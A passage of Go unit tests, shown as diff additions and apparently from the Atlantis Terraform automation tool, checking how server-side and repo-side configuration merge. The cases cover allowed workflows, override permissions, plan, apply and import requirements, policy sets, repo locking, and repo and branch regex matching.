"github.com/owner/repo", + expErr: "workflow 'forbidden' is not allowed for this repo", + }, + "repo uses workflow that is defined server side but not allowed (without custom workflows)": { + gCfg: valid.GlobalCfg{ + Repos: []valid.Repo{ + valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + }).Repos[0], + { + ID: "github.com/owner/repo", + AllowCustomWorkflows: Bool(false), + AllowedOverrides: []string{"workflow"}, + AllowedWorkflows: []string{"allowed"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "allowed": {}, + "forbidden": {}, + }, + }, + rCfg: valid.RepoCfg{ + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + WorkflowName: String("forbidden"), + }, + }, + }, + repoID: "github.com/owner/repo", + expErr: "workflow 'forbidden' is not allowed for this repo", + }, + "repo uses workflow that is defined in both places with same name (without custom workflows)": { + gCfg: valid.GlobalCfg{ + Repos: []valid.Repo{ + valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + }).Repos[0], + { + ID: "github.com/owner/repo", + AllowCustomWorkflows: Bool(false), + AllowedOverrides: []string{"workflow"}, + AllowedWorkflows: []string{"duplicated"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "duplicated": {}, + }, + }, + rCfg: valid.RepoCfg{ + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + WorkflowName: String("duplicated"), + }, + }, + Workflows: map[string]valid.Workflow{ + "duplicated": {}, + }, + }, + repoID: "github.com/owner/repo", + expErr: "repo config not allowed to define custom workflows: server-side config needs 'allow_custom_workflows: true'", + }, + "repo uses workflow that is defined repo side, but not allowed (with custom workflows)": { + gCfg: valid.GlobalCfg{ + Repos: []valid.Repo{ + valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + }).Repos[0], + { + ID: "github.com/owner/repo", + AllowCustomWorkflows: Bool(true), + AllowedOverrides: []string{"workflow"}, + AllowedWorkflows: []string{"none"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "forbidden": {}, + }, + }, + rCfg: valid.RepoCfg{ + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + WorkflowName: String("repodefined"), + }, + }, + Workflows: map[string]valid.Workflow{ + "repodefined": {}, + }, + }, + repoID: "github.com/owner/repo", + expErr: "", + }, + "repo uses workflow that is defined server side and allowed (without custom workflows)": { + gCfg: valid.GlobalCfg{ + Repos: []valid.Repo{ + valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + }).Repos[0], + { + ID: "github.com/owner/repo", + AllowCustomWorkflows: Bool(false), + AllowedOverrides: []string{"workflow"}, + AllowedWorkflows: []string{"allowed"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "allowed": {}, + "forbidden": {}, + }, + }, + rCfg: valid.RepoCfg{ + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + WorkflowName: String("allowed"), + }, + }, + }, + repoID: "github.com/owner/repo", + expErr: "", + }, + "repo uses workflow that is defined server side and allowed (with custom workflows)": { + gCfg: valid.GlobalCfg{ + Repos: []valid.Repo{ + valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + }).Repos[0], + { + ID: "github.com/owner/repo", + AllowCustomWorkflows: Bool(true), + AllowedOverrides: []string{"workflow"}, + AllowedWorkflows: []string{"allowed"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "allowed": {}, + "forbidden": {}, + }, + }, + rCfg: valid.RepoCfg{ + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + WorkflowName: String("allowed"), + }, + }, + }, + repoID: "github.com/owner/repo", + expErr: "", + }, + "workflow not allowed": { + gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ + AllowAllRepoSettings: false, + }), + rCfg: valid.RepoCfg{ + Projects: []valid.Project{ + { + WorkflowName: String("invalid"), + }, + }, + }, + repoID: "github.com/owner/repo", + expErr: "repo config not allowed to set 'workflow' key: server-side config needs 'allowed_overrides: [workflow]'", + }, + "custom workflows not allowed": { + gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ + AllowAllRepoSettings: false, + }), + rCfg: valid.RepoCfg{ + Workflows: map[string]valid.Workflow{ + "custom": {}, + }, + }, + repoID: "github.com/owner/repo", + expErr: "repo config not allowed to define custom workflows: server-side config needs 'allow_custom_workflows: true'", + }, + "custom workflows allowed": { + gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + }), + rCfg: valid.RepoCfg{ + Workflows: map[string]valid.Workflow{ + "custom": {}, + }, + }, + repoID: "github.com/owner/repo", + expErr: "", + }, + "repo uses custom workflow defined on repo": { + gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + }), + rCfg: valid.RepoCfg{ + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + WorkflowName: String("repodefined"), + }, + }, + Workflows: map[string]valid.Workflow{ + "repodefined": {}, + }, + }, + repoID: "github.com/owner/repo", + expErr: "", + }, + "custom workflows allowed for this repo only": { + gCfg: valid.GlobalCfg{ + Repos: []valid.Repo{ + valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ + AllowAllRepoSettings: false, + }).Repos[0], + { + ID: "github.com/owner/repo", + AllowCustomWorkflows: Bool(true), + }, + }, + }, + rCfg: valid.RepoCfg{ + Workflows: map[string]valid.Workflow{ + "custom": {}, + }, + }, + repoID: "github.com/owner/repo", + expErr: "", + }, + "repo uses global workflow": { + gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + }), + rCfg: valid.RepoCfg{ + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + WorkflowName: String("default"), + }, + }, + }, + repoID: "github.com/owner/repo", + expErr: "", + }, + "plan_reqs not allowed": { + gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ + AllowAllRepoSettings: false, + }), + rCfg: valid.RepoCfg{ + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + PlanRequirements: []string{""}, + }, + }, + }, + repoID: "github.com/owner/repo", + expErr: "repo config not allowed to set 'plan_requirements' key: server-side config needs 'allowed_overrides: [plan_requirements]'", + }, + "apply_reqs not allowed": { + gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ + AllowAllRepoSettings: false, + }), + rCfg: valid.RepoCfg{ + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + ApplyRequirements: []string{""}, + }, + }, + }, + repoID: "github.com/owner/repo", + expErr: "repo config not allowed to set 'apply_requirements' key: server-side config needs 'allowed_overrides: [apply_requirements]'", + }, + "import_reqs not allowed": { + gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ + AllowAllRepoSettings: false, + }), + rCfg: valid.RepoCfg{ + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + ImportRequirements: []string{""}, + }, + }, + }, + repoID: "github.com/owner/repo", + expErr: "repo config not allowed to set 'import_requirements' key: server-side config needs 'allowed_overrides: [import_requirements]'", + }, + "repo workflow doesn't exist": { + gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + }), + rCfg: valid.RepoCfg{ + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + WorkflowName: String("doesntexist"), + }, + }, + }, + repoID: "github.com/owner/repo", + expErr: "workflow \"doesntexist\" is not defined anywhere", + }, + } + for name, c := range cases { + t.Run(name, func(t *testing.T) { + actErr := c.gCfg.ValidateRepoCfg(c.rCfg, c.repoID) + if c.expErr == "" { + Ok(t, actErr) + } else { + ErrEquals(t, c.expErr, actErr) + } + }) + } +} + +func TestGlobalCfg_WithPolicySets(t *testing.T) { + version, _ := version.NewVersion("v1.0.0") + cases := map[string]struct { + gCfg string + proj valid.Project + repoID string + exp valid.MergedProjectCfg + }{ + "policies are added to MergedProjectCfg when present": { + gCfg: ` +repos: +- id: /.*/ +policies: + policy_sets: + - name: good-policy + source: local + path: rel/path/to/source +`, + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: ".", + Workspace: "default", + WorkflowName: String("custom"), + }, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{}, + ApplyRequirements: []string{}, + ImportRequirements: []string{}, + Workflow: valid.Workflow{ + Name: "default", + Apply: valid.DefaultApplyStage, + Plan: valid.DefaultPlanStage, + PolicyCheck: valid.DefaultPolicyCheckStage, + Import: valid.DefaultImportStage, + StateRm: valid.DefaultStateRmStage, + }, + PolicySets: valid.PolicySets{ + Version: nil, + ApproveCount: 1, + PolicySets: []valid.PolicySet{ + { + Name: "good-policy", + Path: "rel/path/to/source", + Source: "local", + ApproveCount: 1, + }, + }, + }, + RepoRelDir: ".", + Workspace: "default", + Name: "", + AutoplanEnabled: false, + RepoLocks: valid.DefaultRepoLocks, + CustomPolicyCheck: false, + }, + }, + "policies set correct version if specified": { + gCfg: ` +repos: +- id: /.*/ +policies: + conftest_version: v1.0.0 + policy_sets: + - name: good-policy + source: local + path: rel/path/to/source +`, + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: ".", + Workspace: "default", + WorkflowName: String("custom"), + }, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{}, + ApplyRequirements: []string{}, + ImportRequirements: []string{}, + Workflow: valid.Workflow{ + Name: "default", + Apply: valid.DefaultApplyStage, + Plan: valid.DefaultPlanStage, + PolicyCheck: valid.DefaultPolicyCheckStage, + Import: valid.DefaultImportStage, + StateRm: valid.DefaultStateRmStage, + }, + PolicySets: valid.PolicySets{ + Version: version, + ApproveCount: 1, + PolicySets: []valid.PolicySet{ + { + Name: "good-policy", + Path: "rel/path/to/source", + Source: "local", + ApproveCount: 1, + }, + }, + }, + RepoRelDir: ".", + Workspace: "default", + Name: "", + AutoplanEnabled: false, + RepoLocks: valid.DefaultRepoLocks, + CustomPolicyCheck: false, + }, + }, + } + for name, c := range cases { + t.Run(name, func(t *testing.T) { + tmp := t.TempDir() + var global valid.GlobalCfg + if c.gCfg != "" { + path := filepath.Join(tmp, "config.yaml") + Ok(t, os.WriteFile(path, []byte(c.gCfg), 0600)) + var err error + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: false, + } + global, err = (&config.ParserValidator{}).ParseGlobalCfg(path, valid.NewGlobalCfgFromArgs(globalCfgArgs)) + Ok(t, err) + } else { + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: false, + } + global = valid.NewGlobalCfgFromArgs(globalCfgArgs) + } + + Equals(t, + c.exp, + global.MergeProjectCfg(logging.NewNoopLogger(t), c.repoID, c.proj, valid.RepoCfg{})) + }) + } +} + +func TestGlobalCfg_MergeProjectCfg(t *testing.T) { + var emptyPolicySets valid.PolicySets + + defaultWorkflow := valid.Workflow{ + Name: "default", + Apply: valid.DefaultApplyStage, + PolicyCheck: valid.DefaultPolicyCheckStage, + Plan: valid.DefaultPlanStage, + Import: valid.DefaultImportStage, + StateRm: valid.DefaultStateRmStage, + } + cases := map[string]struct { + gCfg string + repoID string + proj valid.Project + repoWorkflows map[string]valid.Workflow + exp valid.MergedProjectCfg + }{ + "repos can use server-side defined workflow if allowed": { + gCfg: ` +repos: +- id: /.*/ + allowed_overrides: [workflow] +workflows: + custom: + plan: + steps: [plan]`, + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: ".", + Workspace: "default", + WorkflowName: String("custom"), + }, + repoWorkflows: nil, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{}, + ApplyRequirements: []string{}, + ImportRequirements: []string{}, + Workflow: valid.Workflow{ + Name: "custom", + Apply: valid.DefaultApplyStage, + PolicyCheck: valid.DefaultPolicyCheckStage, + Plan: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "plan", + }, + }, + }, + Import: valid.DefaultImportStage, + StateRm: valid.DefaultStateRmStage, + }, + RepoRelDir: ".", + Workspace: "default", + Name: "", + AutoplanEnabled: false, + PolicySets: emptyPolicySets, + RepoLocks: valid.DefaultRepoLocks, + CustomPolicyCheck: false, + }, + }, + "repo-side plan reqs win out if allowed": { + gCfg: ` +repos: +- id: /.*/ + allowed_overrides: [plan_requirements] + plan_requirements: [approved] +`, + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: ".", + Workspace: "default", + PlanRequirements: []string{"mergeable"}, + ApplyRequirements: []string{}, + ImportRequirements: []string{}, + }, + repoWorkflows: nil, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{"mergeable"}, + ApplyRequirements: []string{}, + ImportRequirements: []string{}, + Workflow: defaultWorkflow, + RepoRelDir: ".", + Workspace: "default", + Name: "", + AutoplanEnabled: false, + PolicySets: emptyPolicySets, + RepoLocks: valid.DefaultRepoLocks, + CustomPolicyCheck: false, + }, + }, + "repo-side apply reqs win out if allowed": { + gCfg: ` +repos: +- id: /.*/ + allowed_overrides: [apply_requirements] + apply_requirements: [approved] +`, + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: ".", + Workspace: "default", + PlanRequirements: []string{}, + ApplyRequirements: []string{"mergeable"}, + ImportRequirements: []string{}, + }, + repoWorkflows: nil, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{}, + ApplyRequirements: []string{"mergeable"}, + ImportRequirements: []string{}, + Workflow: defaultWorkflow, + RepoRelDir: ".", + Workspace: "default", + Name: "", + AutoplanEnabled: false, + PolicySets: emptyPolicySets, + RepoLocks: valid.DefaultRepoLocks, + CustomPolicyCheck: false, + }, + }, + "repo-side apply reqs should include non-overridable 'policies_passed' req when overridden and policies enabled": { + gCfg: ` +repos: +- id: /.*/ + allowed_overrides: [apply_requirements] + apply_requirements: [approved] + policy_check: true +`, + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: ".", + Workspace: "default", + PlanRequirements: []string{}, + ApplyRequirements: []string{"mergeable"}, + ImportRequirements: []string{}, + }, + repoWorkflows: nil, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{}, + ApplyRequirements: []string{"mergeable", "policies_passed"}, + ImportRequirements: []string{}, + Workflow: defaultWorkflow, + RepoRelDir: ".", + Workspace: "default", + Name: "", + AutoplanEnabled: false, + PolicySets: emptyPolicySets, + RepoLocks: valid.DefaultRepoLocks, + CustomPolicyCheck: false, + PolicyCheck: true, + }, + }, + "repo-side apply reqs should not include non-overridable 'policies_passed' req when overridden and policies disabled": { + gCfg: ` +repos: +- id: /.*/ + allowed_overrides: [apply_requirements] + apply_requirements: [approved] +`, + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: ".", + Workspace: "default", + PlanRequirements: []string{}, + ApplyRequirements: []string{"mergeable"}, + ImportRequirements: []string{}, + }, + repoWorkflows: nil, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{}, + ApplyRequirements: []string{"mergeable"}, + ImportRequirements: []string{}, + Workflow: defaultWorkflow, + RepoRelDir: ".", + Workspace: "default", + Name: "", + AutoplanEnabled: false, + PolicySets: emptyPolicySets, + RepoLocks: valid.DefaultRepoLocks, + CustomPolicyCheck: false, + PolicyCheck: false, + }, + }, + "repo-side import reqs win out if allowed": { + gCfg: ` +repos: +- id: /.*/ + allowed_overrides: [import_requirements] + import_requirements: [approved] +`, + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: ".", + Workspace: "default", + PlanRequirements: []string{}, + ApplyRequirements: []string{}, + ImportRequirements: []string{"mergeable"}, + }, + repoWorkflows: nil, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{}, + ApplyRequirements: []string{}, + ImportRequirements: []string{"mergeable"}, + Workflow: defaultWorkflow, + RepoRelDir: ".", + Workspace: "default", + Name: "", + AutoplanEnabled: false, + PolicySets: emptyPolicySets, + RepoLocks: valid.DefaultRepoLocks, + CustomPolicyCheck: false, + }, + }, + "repo-side repo_locking win out if allowed": { + gCfg: ` +repos: +- id: /.*/ + repo_locking: false +`, + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: ".", + Workspace: "default", + PlanRequirements: []string{}, + ApplyRequirements: []string{}, + ImportRequirements: []string{}, + CustomPolicyCheck: Bool(false), + }, + repoWorkflows: nil, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{}, + ApplyRequirements: []string{}, + ImportRequirements: []string{}, + Workflow: defaultWorkflow, + RepoRelDir: ".", + Workspace: "default", + Name: "", + AutoplanEnabled: false, + PolicySets: emptyPolicySets, + RepoLocks: valid.RepoLocks{Mode: valid.RepoLocksDisabledMode}, + CustomPolicyCheck: false, + }, + }, + "repo-side repo_locks win out if allowed": { + gCfg: ` +repos: +- id: /.*/ + repo_locks: + mode: on_apply +`, + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: ".", + Workspace: "default", + PlanRequirements: []string{}, + ApplyRequirements: []string{}, + ImportRequirements: []string{}, + RepoLocks: &valid.DefaultRepoLocks, + CustomPolicyCheck: Bool(false), + }, + repoWorkflows: nil, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{}, + ApplyRequirements: []string{}, + ImportRequirements: []string{}, + Workflow: defaultWorkflow, + RepoRelDir: ".", + Workspace: "default", + Name: "", + AutoplanEnabled: false, + PolicySets: emptyPolicySets, + RepoLocks: valid.RepoLocks{Mode: valid.RepoLocksOnApplyMode}, + CustomPolicyCheck: false, + }, + }, + "last server-side match wins": { + gCfg: ` +repos: +- id: /.*/ + plan_requirements: [approved] + apply_requirements: [approved] + import_requirements: [approved] +- id: /github.com/.*/ + plan_requirements: [mergeable] + apply_requirements: [mergeable] + import_requirements: [mergeable] +- id: github.com/owner/repo + plan_requirements: [approved, mergeable] + apply_requirements: [approved, mergeable] + import_requirements: [approved, mergeable] +`, + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: "mydir", + Workspace: "myworkspace", + Name: String("myname"), + }, + repoWorkflows: nil, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{"approved", "mergeable"}, + ApplyRequirements: []string{"approved", "mergeable"}, + ImportRequirements: []string{"approved", "mergeable"}, + Workflow: defaultWorkflow, + RepoRelDir: "mydir", + Workspace: "myworkspace", + Name: "myname", + AutoplanEnabled: false, + PolicySets: emptyPolicySets, + RepoLocks: valid.DefaultRepoLocks, + CustomPolicyCheck: false, + }, + }, + "autoplan is set properly": { + gCfg: "", + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: "mydir", + Workspace: "myworkspace", + Name: String("myname"), + Autoplan: valid.Autoplan{ + WhenModified: []string{".tf"}, + Enabled: true, + }, + }, + repoWorkflows: nil, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{}, + ApplyRequirements: []string{}, + ImportRequirements: []string{}, + Workflow: defaultWorkflow, + RepoRelDir: "mydir", + Workspace: "myworkspace", + Name: "myname", + AutoplanEnabled: true, + PolicySets: emptyPolicySets, + RepoLocks: valid.DefaultRepoLocks, + CustomPolicyCheck: false, + }, + }, + "execution order group is set": { + gCfg: "", + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: "mydir", + Workspace: "myworkspace", + Name: String("myname"), + Autoplan: valid.Autoplan{ + WhenModified: []string{".tf"}, + Enabled: true, + }, + ExecutionOrderGroup: 10, + }, + repoWorkflows: nil, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{}, + ApplyRequirements: []string{}, + ImportRequirements: []string{}, + Workflow: defaultWorkflow, + RepoRelDir: "mydir", + Workspace: "myworkspace", + Name: "myname", + AutoplanEnabled: true, + PolicySets: emptyPolicySets, + ExecutionOrderGroup: 10, + RepoLocks: valid.DefaultRepoLocks, + CustomPolicyCheck: false, + }, + }, + } + for name, c := range cases { + t.Run(name, func(t *testing.T) { + tmp := t.TempDir() + var global valid.GlobalCfg + if c.gCfg != "" { + path := filepath.Join(tmp, "config.yaml") + Ok(t, os.WriteFile(path, []byte(c.gCfg), 0600)) + var err error + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: false, + } + + global, err = (&config.ParserValidator{}).ParseGlobalCfg(path, valid.NewGlobalCfgFromArgs(globalCfgArgs)) + Ok(t, err) + } else { + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: false, + } + global = valid.NewGlobalCfgFromArgs(globalCfgArgs) + } + + global.PolicySets = emptyPolicySets + Equals(t, c.exp, global.MergeProjectCfg(logging.NewNoopLogger(t), c.repoID, c.proj, valid.RepoCfg{Workflows: c.repoWorkflows})) + }) + } +} + +func TestRepo_IDMatches(t *testing.T) { + // Test exact matches. + Equals(t, false, (valid.Repo{ID: "github.com/owner/repo"}).IDMatches("github.com/runatlantis/atlantis")) + Equals(t, true, (valid.Repo{ID: "github.com/owner/repo"}).IDMatches("github.com/owner/repo")) + + // Test regexes. + Equals(t, true, (valid.Repo{IDRegex: regexp.MustCompile(".*")}).IDMatches("github.com/owner/repo")) + Equals(t, true, (valid.Repo{IDRegex: regexp.MustCompile("github.com")}).IDMatches("github.com/owner/repo")) + Equals(t, false, (valid.Repo{IDRegex: regexp.MustCompile("github.com/anotherowner")}).IDMatches("github.com/owner/repo")) + Equals(t, true, (valid.Repo{IDRegex: regexp.MustCompile("github.com/(owner|runatlantis)")}).IDMatches("github.com/owner/repo")) + Equals(t, true, (valid.Repo{IDRegex: regexp.MustCompile("github.com/owner.*")}).IDMatches("github.com/owner/repo")) +} + +func TestRepo_IDString(t *testing.T) { + Equals(t, "github.com/owner/repo", (valid.Repo{ID: "github.com/owner/repo"}).IDString()) + Equals(t, "/regex.*/", (valid.Repo{IDRegex: regexp.MustCompile("regex.*")}).IDString()) +} + +func TestRepo_BranchMatches(t *testing.T) { + // Test matches when no branch regex is set. + Equals(t, true, (valid.Repo{}).BranchMatches("main")) + + // Test regexes. + Equals(t, true, (valid.Repo{BranchRegex: regexp.MustCompile(".*")}).BranchMatches("main")) + Equals(t, true, (valid.Repo{BranchRegex: regexp.MustCompile("main")}).BranchMatches("main")) + Equals(t, false, (valid.Repo{BranchRegex: regexp.MustCompile("^main$")}).BranchMatches("foo-main")) + Equals(t, false, (valid.Repo{BranchRegex: regexp.MustCompile("^main$")}).BranchMatches("main-foo")) + Equals(t, true, (valid.Repo{BranchRegex: regexp.MustCompile("(main|master)")}).BranchMatches("main")) + Equals(t, true, (valid.Repo{BranchRegex: regexp.MustCompile("(main|master)")}).BranchMatches("main")) + Equals(t, true, (valid.Repo{BranchRegex: regexp.MustCompile("release")}).BranchMatches("release-stage")) + Equals(t, false, (valid.Repo{BranchRegex: regexp.MustCompile("release")}).BranchMatches("main")) +} + +func TestGlobalCfg_MatchingRepo(t *testing.T) { + defaultRepo := valid.Repo{ + IDRegex: regexp.MustCompile(".*"), + BranchRegex: regexp.MustCompile(".*"), + PlanRequirements: []string{}, + ApplyRequirements: []string{}, + ImportRequirements: []string{}, + } + repo1 := valid.Repo{ + IDRegex: regexp.MustCompile(".*"), + BranchRegex: regexp.MustCompile("^main$"), + PlanRequirements: []string{"approved"}, + ApplyRequirements: []string{"approved"}, + ImportRequirements: []string{"approved"}, + } + repo2 := valid.Repo{ + ID: "github.com/owner/repo", + BranchRegex: regexp.MustCompile("^main$"), + PlanRequirements: []string{"approved", "mergeable"}, + ApplyRequirements: []string{"approved", "mergeable"}, + ImportRequirements: []string{"approved", "mergeable"}, + } + + cases := map[string]struct { + gCfg valid.GlobalCfg + repoID string + exp *valid.Repo + }{ + "matches to default": { + gCfg: valid.GlobalCfg{ + Repos: []valid.Repo{ + defaultRepo, + repo2, + }, + }, + repoID: "foo", + exp: &defaultRepo, + }, + "matches to IDRegex": { + gCfg: valid.GlobalCfg{ + Repos: []valid.Repo{ + defaultRepo, + repo1, + repo2, + }, + }, + repoID: "foo", + exp: &repo1, + }, + "matches to ID": { + gCfg: valid.GlobalCfg{ + Repos: []valid.Repo{ + defaultRepo, + repo1, + repo2, + }, + }, + repoID: "github.com/owner/repo", + exp: &repo2, + }, + } + + for name, c := range cases { + t.Run(name, func(t *testing.T) { + Equals(t, c.exp, c.gCfg.MatchingRepo(c.repoID)) + }) + } +} + +func TestGlobalCfg_PolicyCheckOverride(t *testing.T) { + var emptyPolicySets valid.PolicySets + + defaultWorkflow := valid.Workflow{ + Name: "default", + Apply: valid.DefaultApplyStage, + PolicyCheck: valid.DefaultPolicyCheckStage, + Plan: valid.DefaultPlanStage, + Import: valid.DefaultImportStage, + StateRm: valid.DefaultStateRmStage, + } + cases := map[string]struct { + gPolicyCheck bool + gCfg string + repoID string + proj valid.Project + repoWorkflows map[string]valid.Workflow + exp valid.MergedProjectCfg + }{ + "global policy check disabled": { + gPolicyCheck: false, + gCfg: ` +repos: +- id: /.*/ + plan_requirements: [approved] + apply_requirements: [approved] + import_requirements: [approved] +- id: /github.com/.*/ + plan_requirements: [mergeable] + apply_requirements: [mergeable] + import_requirements: [mergeable] +- id: github.com/owner/repo + plan_requirements: [approved, mergeable] + apply_requirements: [approved, mergeable] + import_requirements: [approved, mergeable] +`, + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: "mydir", + Workspace: "myworkspace", + Name: String("myname"), + PolicyCheck: Bool(false), + }, + repoWorkflows: nil, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{"approved", "mergeable"}, + ApplyRequirements: []string{"approved", "mergeable"}, + ImportRequirements: []string{"approved", "mergeable"}, + Workflow: defaultWorkflow, + RepoRelDir: "mydir", + Workspace: "myworkspace", + Name: "myname", + AutoplanEnabled: false, + PolicySets: emptyPolicySets, + RepoLocks: valid.DefaultRepoLocks, + PolicyCheck: false, + CustomPolicyCheck: false, + }, + }, + "global policy check enabled": { + gPolicyCheck: true, + gCfg: ` +repos: +- id: /.*/ + plan_requirements: [approved] + apply_requirements: [approved] + import_requirements: [approved] +- id: /github.com/.*/ + plan_requirements: [mergeable] + apply_requirements: [mergeable] + import_requirements: [mergeable] +- id: github.com/owner/repo + plan_requirements: [approved, mergeable] + apply_requirements: [approved, mergeable] + import_requirements: [approved, mergeable] +`, + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: "mydir", + Workspace: "myworkspace", + Name: String("myname"), + PolicyCheck: Bool(true), + }, + repoWorkflows: nil, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{"approved", "mergeable", "policies_passed"}, + ApplyRequirements: []string{"approved", "mergeable", "policies_passed"}, + ImportRequirements: []string{"approved", "mergeable", "policies_passed"}, + Workflow: defaultWorkflow, + RepoRelDir: "mydir", + Workspace: "myworkspace", + Name: "myname", + AutoplanEnabled: false, + PolicySets: emptyPolicySets, + RepoLocks: valid.DefaultRepoLocks, + PolicyCheck: true, + CustomPolicyCheck: false, + }, + }, + "global policy check enabled except current repo": { + gPolicyCheck: true, + gCfg: ` +repos: +- id: /.*/ + plan_requirements: [approved] + apply_requirements: [approved] + import_requirements: [approved] +- id: /github.com/.*/ + plan_requirements: [mergeable] + apply_requirements: [mergeable] + import_requirements: [mergeable] +- id: github.com/owner/repo + plan_requirements: [approved, mergeable] + apply_requirements: [approved, mergeable] + import_requirements: [approved, mergeable] + policy_check: false +`, + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: "mydir", + Workspace: "myworkspace", + Name: String("myname"), + PolicyCheck: Bool(false), + }, + repoWorkflows: nil, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{"approved", "mergeable"}, + ApplyRequirements: []string{"approved", "mergeable"}, + ImportRequirements: []string{"approved", "mergeable"}, + Workflow: defaultWorkflow, + RepoRelDir: "mydir", + Workspace: "myworkspace", + Name: "myname", + AutoplanEnabled: false, + PolicySets: emptyPolicySets, + RepoLocks: valid.DefaultRepoLocks, + PolicyCheck: false, + CustomPolicyCheck: false, + }, + }, + "global policy check disabled and disabled on current repo": { + gPolicyCheck: false, + gCfg: ` +repos: +- id: /.*/ + plan_requirements: [approved] + apply_requirements: [approved] + import_requirements: [approved] +- id: /github.com/.*/ + plan_requirements: [mergeable] + apply_requirements: [mergeable] + import_requirements: [mergeable] +- id: github.com/owner/repo + plan_requirements: [approved, mergeable] + apply_requirements: [approved, mergeable] + import_requirements: [approved, mergeable] + policy_check: false +`, + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: "mydir", + Workspace: "myworkspace", + Name: String("myname"), + PolicyCheck: Bool(false), + }, + repoWorkflows: nil, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{"approved", "mergeable"}, + ApplyRequirements: []string{"approved", "mergeable"}, + ImportRequirements: []string{"approved", "mergeable"}, + Workflow: defaultWorkflow, + RepoRelDir: "mydir", + Workspace: "myworkspace", + Name: "myname", + AutoplanEnabled: false, + PolicySets: emptyPolicySets, + RepoLocks: valid.DefaultRepoLocks, + PolicyCheck: false, + CustomPolicyCheck: false, + }, + }, + "global policy check disabled and enabled on current repo": { + gPolicyCheck: false, + gCfg: ` +repos: +- id: /.*/ + plan_requirements: [approved] + apply_requirements: [approved] + import_requirements: [approved] +- id: /github.com/.*/ + plan_requirements: [mergeable] + apply_requirements: [mergeable] + import_requirements: [mergeable] +- id: github.com/owner/repo + plan_requirements: [approved, mergeable] + apply_requirements: [approved, mergeable] + import_requirements: [approved, mergeable] + policy_check: true +`, + repoID: "github.com/owner/repo", + proj: valid.Project{ + Dir: "mydir", + Workspace: "myworkspace", + Name: String("myname"), + PolicyCheck: Bool(false), + }, + repoWorkflows: nil, + exp: valid.MergedProjectCfg{ + PlanRequirements: []string{"approved", "mergeable"}, + ApplyRequirements: []string{"approved", "mergeable"}, + ImportRequirements: []string{"approved", "mergeable"}, + Workflow: defaultWorkflow, + RepoRelDir: "mydir", + Workspace: "myworkspace", + Name: "myname", + AutoplanEnabled: false, + PolicySets: emptyPolicySets, + RepoLocks: 